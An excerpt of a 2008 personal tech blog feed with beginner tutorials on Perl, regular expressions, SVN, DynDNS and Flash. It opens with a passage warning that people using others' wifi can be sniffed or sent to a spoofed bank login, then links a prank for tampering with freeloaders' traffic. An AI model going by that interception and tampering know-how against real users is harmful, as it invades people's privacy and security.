&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/11/upsidedown.png&#34; alt=&#34;upside down ternet&#34; /&gt;The term for this is called &amp;ldquo;sniffing&amp;rdquo;.  The third party would &amp;ldquo;sniff&amp;rdquo; the traffic and watch what you are doing.  They can do this because by connecting to a someone&amp;rsquo;s internet you are transmitting your data through their devices.  All traffic that is not encrypted could easily be logged and stored for later analysis.  To further clarify the only traffic that is hidden from prying eyes is SSL or some other industry standard encryption.  If you hijacked a WEP or WPA access point you are still vulnerable to sniffing attacks.  Technically the third-party could still sniff your SSL data they just wouldn&amp;rsquo;t be able to tell what it was.&lt;/p&gt;

&lt;h3&gt;It gets worse&lt;/h3&gt;

&lt;p&gt;You may say, &amp;ldquo;Well when I hijack someone&amp;rsquo;s internet I just surf around and check my email and my bank uses SSL so I&amp;rsquo;m not really at risk.&amp;rdquo;  The problem with this statement is that it assumes that you are actually going to your bank&amp;rsquo;s server when you try to login.  When someone has the control over the internet connection they can alter the data that you receive as well as the data you send out  thus your bank&amp;rsquo;s website maybe just a copy that submits your actual username and password to a third-party database.  Not a difficult thing to setup with tools like curl, bind, and mysql.&lt;/p&gt;

&lt;h3&gt;What to do&lt;/h3&gt;

&lt;p&gt;Stop using someone else&amp;rsquo;s internet connection!&lt;/p&gt;

&lt;p&gt;Other than moral reasons these reasons are enough for me to never use an untrusted wireless network.      Especially since we know the dangers that are involved.&lt;/p&gt;

&lt;p&gt;The first thing you should do as a wireless owner is secure it.  Read my article on &lt;a href=&#34;/security/wireless-network-security/&#34;&gt;Wireless Network Security&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For those of you with wireless internet that you want to hide from prying eyes I recommend checking out &lt;a href=&#34;http://www.blackalchemy.to/project/fakeap/&#34;&gt;fakeAP&lt;/a&gt;.  It is capable of making 53,000 fake wireless access points.&lt;/p&gt;

&lt;p&gt;If you are interested in how sniffing works see, &lt;a href=&#34;http://www.wireshark.org/&#34;&gt;Wireshark&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you just want to have fun with the freeloaders you can flip their world upside down with &lt;a href=&#34;http://ex-parrot.com/~pete/upside-down-ternet.html&#34;&gt;this&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Install Adobe Flash for Opera on Ubuntu</title>
		<link href="https://www.marksanborn.net/howto/install-adobe-flash-for-opera-on-ubuntu/index.html" />
		<updated>2008-11-12T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/install-adobe-flash-for-opera-on-ubuntu/index.html</id>
		<content type="html">&lt;p&gt;Flash doesn&amp;rsquo;t come with Ubuntu by default so we need to install if for all of our browsers if we want to view any sites that have flash.  Adobe provides an easy deb installation file to install it for browsers like Firefox but not Opera.  Although the package from Adobe doesn&amp;rsquo;t automatically install flash for Opera, adding it manually is as simple as copying over a file.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Download the &lt;a href=&#34;http://get.adobe.com/flashplayer/&#34;&gt;.deb file from Adobe&lt;/a&gt; and install it like you normally do.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dpkg -i nameofdeb.deb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will install the flash library file here: &amp;lsquo;&lt;strong&gt;/usr/lib/adobe-flashplugin/libflashplayer.so&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;This package then copies this library to the directories of Netscape/Mozilla browsers like Firefox, but doesn&amp;rsquo;t do it for Opera.&lt;/p&gt;

&lt;p&gt;To do it manually just execute this command as root:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo ln -s /usr/lib/adobe-flashplugin/libflashplayer.so /usr/lib/opera/plugins/libflashplayer.so&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Thats it.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Learning Regular Expressions for Beginners: Building a Regular Expression Tester</title>
		<link href="https://www.marksanborn.net/uncategorized/learning-regular-expressions-for-beginners-building-a-regular-expression-tester/index.html" />
		<updated>2008-11-07T00:00:00Z</updated>
		<id>https://www.marksanborn.net/uncategorized/learning-regular-expressions-for-beginners-building-a-regular-expression-tester/index.html</id>
		<content type="html">&lt;p&gt;When learning regular expressions it is helpful to be able to quickly test regular expression patterns.  It doesn&amp;rsquo;t really matter which proramming language you use to build it but I will give you two examples, one in Perl and one in PHP.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;If you are new to regular expressions first check out, &lt;a href=&#34;/howto/learning-regular-expressions-for-beginners-the-basics/&#34;&gt;Learning Regular Expressions For Beginners: The Basics&lt;/a&gt;.  It will run your through your first example.  Once you have the hang of it you can come back here and build a test program to practice your own regular expressions.&lt;/p&gt;

&lt;h3&gt;Regular Expression testing for Perl&lt;/h3&gt;

&lt;p&gt;Just open up a text editor and copy and paste the code below.  To use it just replace the part that says, &amp;ldquo;&lt;strong&gt;YOUR_REGULAR_EXPRESSION_GOES_HERE&lt;/strong&gt;&amp;rdquo;.  Each new line that you type into the console will be tested.  Use ctrl+c to quit.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl
while (&amp;lt;&amp;gt;) {                        
  chomp;
  if (/YOUR_REGULAR_EXPRESSION_GOES_HERE/) {
    print &amp;quot;Matched: |$`&amp;lt;$&amp;amp;&amp;gt;$&#39;|\n&amp;quot;;  
  } else {
    print &amp;quot;No match: |$_|\n&amp;quot;;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;|before&lt;match&gt;after|&lt;/p&gt;

&lt;h3&gt;Regular Expression testing for PHP&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$testString = $_POST[&#39;testString&#39;];
preg_match(&#39;/YOUR_REGULAR_EXPRESSION_GOES_HERE/&#39;, $testString, $matches);
print_r($matches);
?&amp;gt;

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Regular Expresion Tester&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&amp;quot;&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
    &amp;lt;input type=&amp;quot;textbox&amp;quot; name=&amp;quot;testString&amp;quot; /&amp;gt;&amp;lt;br /&amp;gt;
    &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>Setting Up a Sandbox Server with SVN</title>
		<link href="https://www.marksanborn.net/php/setting-up-a-sandbox-server-with-svn/index.html" />
		<updated>2008-11-06T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/setting-up-a-sandbox-server-with-svn/index.html</id>
		<content type="html">&lt;p&gt;SVN is one of those things that you love once you know what and how it works.  SVN is a version control system used by almost all major open source projects and is an absolute dream to work with.  If you have ever worked with a team of developers you probably have had the experience of having your code accidentally written over or deleted.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;With SVN you have version control where you can revert changes, kinda like Wikipedia.  It also keeps track of which files were actually modified and gives you an option to describe to other developers what changes were made.  No more unfortunate mishaps. :)&lt;/p&gt;

&lt;p&gt;What is great about SVN is that the code can be checked out to any server at any time with the latest code.  I use SVN to make a &amp;ldquo;sandbox&amp;rdquo; server.  A server that I can play around in without worrying about deleting code or messing something up.  When I am happy with my changes I can type one command and the two servers are synced with the newest changes.  If for some reason it doesn&amp;rsquo;t work out I can revert back to the old way in one easy command.&lt;/p&gt;

&lt;p&gt;If you are using Dreamhost it is really easy to setup.  Here is how:&lt;/p&gt;

&lt;h3&gt;Setting up SVN on Dreamhost&lt;/h3&gt;

&lt;p&gt;Go to dreamhost and make a &lt;strong&gt;svn.yourdomain.com&lt;/strong&gt; directory&lt;/p&gt;

&lt;p&gt;Make a svn project&lt;/p&gt;

&lt;p&gt;Import your code to the SVN repository.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd yourdomain.com
svn import . http://svn.yourdomain.com/myproject&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Make a new folder&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mkdir yourdomain.com-svn&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Check out the code&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd yourdomain.com-svn
svn checkout http://svn.yourdomain.com/myproject . &amp;lt;----- don&#39;t forget the dot&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At this point you swap the original site with the svned one.  If you didn&amp;rsquo;t do something write thus far simply swap them back and start over.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mv yourdomain.com yourdomain.com-original
mv yourdomain.com-svn yourdomain.com
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Make the Sandbox&lt;/h3&gt;

&lt;p&gt;Make a new subdomain called sandbox.yourdomain.com&lt;/p&gt;

&lt;p&gt;Check out the SVN code&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd sandbox.yourdomain.com
svn checkout http://svn.yourdomain.com/myproject .&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once again don&amp;rsquo;t forget the . (dot) at the end.&lt;/p&gt;

&lt;h3&gt;Lock the testing site&lt;/h3&gt;

&lt;p&gt;You probably don&amp;rsquo;t want people checking out your test site and certainly don&amp;rsquo;t want Google or any other bot to get a hold of it.&lt;/p&gt;

&lt;p&gt;Open/create up your .htaccess in sandbox.yourdomain.com and fill it with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;AuthType Basic
AuthUserFile /home/yourname/sandbox.yourdomain.com/.htpasswd
AuthName &amp;quot;My Testing Site&amp;quot;
require valid-user&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then create a .htpasswd file.&lt;/p&gt;

&lt;h3&gt;Ignore test files&lt;/h3&gt;

&lt;p&gt;You definitely don&amp;rsquo;t want to accidentally lock your main site down by transferring .htaccess files or anything else over that doesn&amp;rsquo;t belong.&lt;/p&gt;

&lt;p&gt;Fortunately for use SVN provides the ignore command.
You can insert multiple lines from the commandline, just press enter inside the quotes:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ svn propset svn:ignore ‘config.php [enter]
&amp;gt; database.php’ . [enter]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note:  If a file is already in the SVN it cannot be ignored.  You must first delete it out.  A good way to do this if your live site already has a .htaccess in SVN is to rename svn delete and then ignore then rename it back.&lt;/p&gt;

&lt;h3&gt;Using SVN&lt;/h3&gt;

&lt;p&gt;Although SVN is simple I could probably spend an entire post talking about it.  Here are some of the basic commands that you will need to know.&lt;/p&gt;

&lt;p&gt;Commit code to the SVN repository:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;svn commit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Update code to match the SVN repository (run this on the live server after you commit from testing):&lt;/p&gt;

&lt;p&gt;&lt;code&gt;svn update&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>My Router Doesn't Support Dynamic DNS, No Problem!</title>
		<link href="https://www.marksanborn.net/howto/my-router-doesnt-support-dynamic-dns-no-problem/index.html" />
		<updated>2008-10-23T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/my-router-doesnt-support-dynamic-dns-no-problem/index.html</id>
		<content type="html">&lt;p&gt;Well I just recently hooked up a DSL connection via a DSL modem that was also a router.  For regular home users this DSL modem/router is probably good enough but for more complex setups it is useless.  In this particular setup we had a custom built firewall.  This firewall had a built in dynamic DNS service for ISP&amp;rsquo;s that rotate IP addresses.  The problem however, is that the firewall was behind the DSL modem&amp;rsquo;s NAT.  So it was reporting a private 192.168 number to Dyndns.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;We couldn&amp;rsquo;t turn off NAT on the DSL modem unless we purchased a block of static IPs.  The DSL modem, being home orientated, didn&amp;rsquo;t allow for dynamic DNS.&lt;/p&gt;

&lt;p&gt;Fortunately dyndns offers a service to detect your public IP address.  They also have an API to change your IP for dynamic DNS.  Knowing this I quickly did a search on my favorite perl code repository, CPAN.  Sure enough someone made a module that sends updated IP info to dyndns.&lt;/p&gt;

&lt;h3&gt;Updating DynDNS with Perl&lt;/h3&gt;

&lt;p&gt;The first thing you will want to do is download the module, &lt;strong&gt;Net::DNS::DynDNS&lt;/strong&gt;.  On a Linux box it is super easy.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cpan
install Net::DNS::DynDNS&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;On windows you will need to compile it with dmake and mingw since there are no ppm for Active Perl.&lt;/p&gt;

&lt;p&gt;Then create a file called, &lt;strong&gt;dyndns.pl&lt;/strong&gt;, replacing &lt;strong&gt;username&lt;/strong&gt;, &lt;strong&gt;password&lt;/strong&gt;, and &lt;strong&gt;yourdomain.selfip&lt;/strong&gt; with your own values.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#!/usr/bin/perl
use Net::DNS::DynDNS;
print Net::DNS::DynDNS-&amp;gt;new(&#39;username&#39;, &#39;password&#39;)-&amp;gt;update(&#39;yourdomain.selfip.com&#39;);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can then update your IP by simply doing&lt;/p&gt;

&lt;p&gt;&lt;code&gt;perl dyndns.pl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To setup automatic updating we can use our favorite scheduler, cron.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;crontab -e&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then add the following line, pointing to where you saved &lt;strong&gt;dyndns.pl&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;1 * * * * /usr/bin/perl /home/youruser/crons/dyndns.pl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will update every hour which is plenty for my needs.  Feel free to change it to fit yours.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Learning Regular Expressions for Beginners: The Basics</title>
		<link href="https://www.marksanborn.net/howto/learning-regular-expressions-for-beginners-the-basics/index.html" />
		<updated>2008-10-21T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/learning-regular-expressions-for-beginners-the-basics/index.html</id>
		<content type="html">&lt;p&gt;If you consider yourself a programmer and you have not learned regular expressions yet now is the time!  At some point in your development you will need to manipulate strings in more complicated ways that simple string functions can&amp;rsquo;t provide.  Regular expressions are used in almost all programming languages and are considered the de facto standard for string manipulation.  Regular expressions can also be used in searches and many other utilities.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;The problem with regular expressions is that nobody wants to learn them because they look very intimidating.  Don&amp;rsquo;t worry though, we will try to make it as painless as possible.&lt;/p&gt;

&lt;p&gt;When I first looked at regular expressions I have to admit they looked absolutely foriegn.  You can&amp;rsquo;t really look at a example snippets and learn a whole lot as you can with some languages.&lt;/p&gt;

&lt;p&gt;For example a regular expression might look like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;((?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,15})&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you are new to regular expressions this will look like absolute gibberish or some encrypted code.  With regular expressions you have to start with absolutely nothing and build up.  Examples snippets simply wont do.&lt;/p&gt;

&lt;h3&gt;A very simple regular expression&lt;/h3&gt;

&lt;p&gt;Here is an extremely easy example.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/foobar/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This simple regular expression matches the word, &amp;lsquo;&lt;strong&gt;foobar&lt;/strong&gt;&amp;rsquo;, easy enough.  The problem though is that it also would match, &amp;lsquo;&lt;strong&gt;asdfoobaradsf&lt;/strong&gt;&amp;rsquo;.  The regular expression would NOT match, &amp;lsquo;&lt;strong&gt;Foobar&lt;/strong&gt;&amp;rsquo; as regular expressions are case sensitive.  This is where the fun begins.&lt;/p&gt;

&lt;p&gt;If you wanted to match the &amp;ldquo;word&amp;rdquo; foobar you would use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/\bfoobar\b/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we are really getting into regular expressions.  As you can see here I have &amp;lsquo;&lt;strong&gt;\b&lt;/strong&gt;&amp;rsquo; at the beginning of the word and the end.  As with programming languages there are certain characters that have special meaning and by adding a &amp;lsquo;&lt;strong&gt;**&amp;rsquo; before the &amp;lsquo;&lt;/strong&gt;b&lt;strong&gt;&amp;rsquo; we are giving the &amp;lsquo;&lt;/strong&gt;b**&amp;rsquo; a special meaning.  These special characters are how you are going to tell the computer what to match and how.&lt;/p&gt;

&lt;p&gt;Don&amp;rsquo;t worry about the &amp;lsquo;&lt;strong&gt;\b&lt;/strong&gt;&amp;rsquo; too much right now you don&amp;rsquo;t even need to memorize it.  Just try to stay with me here.&lt;/p&gt;

&lt;h3&gt;The pieces of a regular expression&lt;/h3&gt;

&lt;p&gt;Those &amp;lsquo;\b&amp;rsquo; things in the example are called &amp;ldquo;anchors&amp;rdquo;.  Anchors tell&amp;rsquo;s the program where to start looking for a string.  What is important now is knowing the different pieces that make up a regular expresson.  These include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Actual text you are matching&lt;/li&gt;
&lt;li&gt;Anchors&lt;/li&gt;
&lt;li&gt;Character classes&lt;/li&gt;
&lt;li&gt;Quantifiers&lt;/li&gt;
&lt;li&gt;Ranges&lt;/li&gt;
&lt;li&gt;Pattern modifiers&lt;/li&gt;
&lt;li&gt;Special characters&lt;/li&gt;
&lt;li&gt;Assertions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Working Through a Problem&lt;/h3&gt;

&lt;p&gt;For our first article in the series we are going to keep it simple walk through coming up with a regular expression for a common problem.&lt;/p&gt;

&lt;p&gt;Lets say we are returning a header of a website and recieve the following code:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;HTTP/1.1 200 OK
Date: Tue, 21 Oct 2008 05:32:32 GMT&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We would like to know what the number follows the &amp;lsquo;&lt;strong&gt;HTTP/1.1&lt;/strong&gt;&amp;rsquo;.  In this case the number is 200.  If the number was 404 or something else we would know that the website is down.&lt;/p&gt;

&lt;p&gt;To start building our regular expression we can simply start typing in what we see in (&lt;strong&gt;/&lt;/strong&gt;) forward slashes.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;OK with regular expressions you have to think sequential and literal.  We are first matching an H, then a T, then another T, and then a P.  Avoid the trap of treating it like a word, think literal characters.  As of right now like our earlier example this would match &amp;lsquo;&lt;strong&gt;asdflkjHTTP&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;We also ran into another problem.  The next character in our string is a forward slash.  Since this is a reserved (special meaning) character in regular expressions it must be escaped with a back slash.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP\/1.1/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;OK, How about that?  We have our slash escaped and the next portion of our expression.  As you might have guessed the dot (.) is a special character in regular expressions and must also be escaped if we want it to be literal.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP\/1\.1/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There we go.  Now I just remembered that HTTP status codes can sometimes return as version 1.1 or version 1.2.  What If we want to allow ANY digit?  To do this we need to use a &lt;strong&gt;character class&lt;/strong&gt;-A class of common characters.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP\/1\.\d/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There, now this will match &lt;strong&gt;HTTP/1.1&lt;/strong&gt; or &lt;strong&gt;HTTP/1.2&lt;/strong&gt; or &lt;strong&gt;HTTP/1.3&lt;/strong&gt; etc..&lt;/p&gt;

&lt;p&gt;The next character in our string that we want to match looks like a space.  There is a &lt;strong&gt;character class&lt;/strong&gt; for that.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP\/1\.\d\s/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;OK, Lets check our work by saying what we are matching literally.  We are looking for an H followed by a T then another T then a P followed by a forward slash (/) followed by a 1 followed by a dot (.) followed by any digit followed by some white space.  Phew, almost done.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP\/1\.\d\s\d+/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we have added another digit &lt;strong&gt;character class&lt;/strong&gt; followed by a &lt;strong&gt;quantifier&lt;/strong&gt;.  &amp;lsquo;&lt;strong&gt;\d&lt;/strong&gt;&amp;rsquo; says we will match any digit.  The &amp;lsquo;&lt;strong&gt;+&lt;/strong&gt;&amp;rsquo; says we will match whatever comes before the plus 1 or more times.  You can think of it as match one digitdigitdigitdigit&amp;hellip;digit repeating forever until there are no more digits in sequence.&lt;/p&gt;

&lt;p&gt;It is important to note that &amp;lsquo;+&amp;rsquo; means 1 or more not 0 or more.  If there is no digits the entire match will fail.  To match 0 or more you would use the star (*****) &lt;strong&gt;quantifier&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/HTTP\/1\.\d\s(\d+)/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Adding the parentheses says that we want to group that part of the code.  This will ensure that we only get back the number and not the entire match.&lt;/p&gt;

&lt;p&gt;In this case the regular expression would return, &lt;strong&gt;200&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;Quick Tips&lt;/h3&gt;

&lt;p&gt;The character class \d (digit) is really just a shortcut for a range of characters.&lt;/p&gt;

&lt;p&gt;\d is the same as [0-9] which is a shortcut of [0123456789].&lt;/p&gt;

&lt;p&gt;A much more common range however would be matching alphabetic characters only. [a-zA-Z]&lt;/p&gt;

&lt;h3&gt;Where to go from here?&lt;/h3&gt;

&lt;p&gt;So I told you that examples are bad and then I used one.  Well what I ended up doing was giving you examples of each of the common elements of a regular expression.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Literal Text (HTTP/1.1)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Escaped special characters (\/1.1)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Character Classes (\d or \s)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Quantifiers (+ and *)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Grouping with ()&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The example is worthless.  You only need to understand the technique of thinking about regular expressions and the components that make them up.  If you can think about regular expressions one character at a time and understand these basic components you will be a master of regular expressions in no time.  The syntax (giberish) will be crystal clear in literally moments after grasping these concepts.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>New UPS PHP Project at Google Code</title>
		<link href="https://www.marksanborn.net/php/new-ups-php-project-at-google-code/index.html" />
		<updated>2008-10-09T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/new-ups-php-project-at-google-code/index.html</id>
		<content type="html">&lt;p&gt;Out of popularity I have decided to take UPS modules written in PHP found in my article, &lt;a href=&#34;/php/calculating-ups-shipping-rate-with-php/&#34;&gt;Calculating UPS Shipping Rate with PHP&lt;/a&gt;, over to the next level.  I am rewriting all the code in object oriented PHP and publishing the code on Google Code under GNU General Public License v3 to ease implementation.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;I am also going to be writing official documentation in the &lt;a href=&#34;http://code.google.com/p/ups-php/w/list&#34;&gt;Google Code wiki pages&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This doesn&amp;rsquo;t mean that I am going to stop writing articles about UPS here on this blog.  I will still add more detailed articles about the code and provide tutorials for implementation.  The project at Google code is just so the project can grow and provide support, bug tracking, svn access, and official documentation.&lt;/p&gt;

&lt;p&gt;This project will encompass modules for all other UPS API services including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;UPS Tracking Tool&lt;/li&gt;
&lt;li&gt;UPS Signature Tracking&lt;/li&gt;
&lt;li&gt;UPS Rates &amp;amp; Service Selection Tool&lt;/li&gt;
&lt;li&gt;UPS Address Validation Tool&lt;/li&gt;
&lt;li&gt;UPS File Download for Quantum View&lt;/li&gt;
&lt;li&gt;UPS Shipping Tool&lt;/li&gt;
&lt;li&gt;UPS Time in Transit Tool&lt;/li&gt;
&lt;li&gt;UPS Trade Ability&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Wanna Help?&lt;/h3&gt;

&lt;p&gt;The svn page on this project as already been hit a several times,  but I would like to also encourage developers to send bug reports to the issue tracker and even sign up to help on the project.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Learning Perl for Beginners: Getting Started</title>
		<link href="https://www.marksanborn.net/php/learning-perl-for-beginners-getting-started/index.html" />
		<updated>2008-09-22T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/learning-perl-for-beginners-getting-started/index.html</id>
		<content type="html">&lt;p&gt;Well if you have decided to take the plunge into Perl I commend you.  So far my experience with Perl has been really great.  I have already made very useful programs for both Windows and Linux.  Coming from a web development background I like to think of Perl as the &amp;ldquo;PHP for operating systems&amp;rdquo;.  If PHP is great for creating dynamic websites, Perl is great for manipulating anything to do with your operating system and applications.  The best part is Perl has similar syntax.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Before you can create all this useful stuff you need to actually go out and get the Perl interpreter since it is a scripting language.&lt;/p&gt;

&lt;p&gt;Depending on your operating system the installation will vary.&lt;/p&gt;

&lt;h3&gt;Windows&lt;/h3&gt;

&lt;p&gt;The most common way to get Perl on a Windows machine is to download and install &lt;a href=&#34;http://www.activestate.com/Products/activeperl/download.mhtml&#34;&gt;ActiveState Perl&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The default install options are fine.&lt;/p&gt;

&lt;h3&gt;Linux&lt;/h3&gt;

&lt;p&gt;If you have a modern Linux distribution you probably already have Perl.  Go ahead and type &amp;lsquo;&lt;strong&gt;perl -v&lt;/strong&gt;&amp;rsquo; at the command line and see if you get something.&lt;/p&gt;

&lt;p&gt;If you get the version number great otherwise you will need to download and install it with your distro&amp;rsquo;s package management system.&lt;/p&gt;

&lt;p&gt;On a Debian/Ubuntu system you would do:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install perl&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Do I need an IDE?&lt;/h3&gt;

&lt;p&gt;After installing Perl you will probably need something to actually write the code.  I suggest using &lt;a href=&#34;http://www.vim.org/&#34;&gt;Vim/vi&lt;/a&gt; since it will &lt;a href=&#34;http://eriwen.com/tools/vim-is-a-beautiful-tool/&#34;&gt;save you a tremendous amount of time&lt;/a&gt;.  If you haven&amp;rsquo;t already learned it you should start right away.&lt;/p&gt;

&lt;p&gt;If you feel like you have too much to learn right now as it is, you can go ahead and use notepad or your favorite text editor.  With Perl there really isn&amp;rsquo;t a need to use an IDE, a simple text editor will work.&lt;/p&gt;

&lt;h3&gt;Writing Your First Perl Program&lt;/h3&gt;

&lt;p&gt;Traditionally your first program is a &amp;ldquo;Hello World&amp;rdquo;. So that&amp;rsquo;s what we will make first.&lt;/p&gt;

&lt;p&gt;Open up your text editor and lets start.&lt;/p&gt;

&lt;p&gt;The first part of a Perl program tells Perl where to find the interpreter.  This line is the first line in your code and might look like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;#!/usr/bin/perl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This tells the OS to look in the directory, &amp;lsquo;/usr/bin/perl&amp;rsquo; to find the interpreter, Although this is a Linux path, Windows users using ActivePerl can still use this.&lt;/p&gt;

&lt;p&gt;Why do I need this?&lt;/p&gt;

&lt;p&gt;The reason for this is that Perl was originally written for Linux and Linux doesn&amp;rsquo;t rely on the extension type (the last three characters of a file name after the dot) to determine which program will open it.  Linux will look into the script and determine the program based on the first line.  This is why bash scripts will have, &amp;lsquo;&lt;strong&gt;#!/bin/bash&lt;/strong&gt;&amp;rsquo; at the beginning.  This allows you to name your program, &amp;ldquo;MyProgram&amp;rdquo; and not, &amp;ldquo;MyProgram.xyz&amp;rdquo;.&lt;/p&gt;

&lt;p&gt;The next thing we need to do is display &amp;ldquo;Hello World&amp;rdquo;.  Add this to your code:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;print &#39;Hello World&#39;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Look familiar?  It should.  So far this code would be the exact same code you would use to print a Hello World type program in PHP.  The only difference is that you might use the command echo instead of print.&lt;/p&gt;

&lt;p&gt;Like PHP most Perl functions end in a semicolon.&lt;/p&gt;

&lt;p&gt;In this example we used single quotes to hold our string that we want to print.  We could have easily used double quotes like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;print &amp;quot;Hello World&amp;quot;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;One important difference between double quotes and single is that double quoted strings will look for special functions within the string.  This works the same way in PHP.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;print &amp;quot;Hello World\n&amp;quot;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Would print the text, &amp;lsquo;Hello World&amp;rsquo; and then a blank line or new line.&lt;/p&gt;

&lt;p&gt;Double quoted text will also look for variables.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$myVariable = &#39;Hello World&#39;;
print &amp;quot;Perl says $myVariable&amp;quot;;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This would display, &amp;lsquo;Perl says Hello World&amp;rsquo;.  Like PHP variable names almost always have a ($) dollar sign in front of them.&lt;/p&gt;

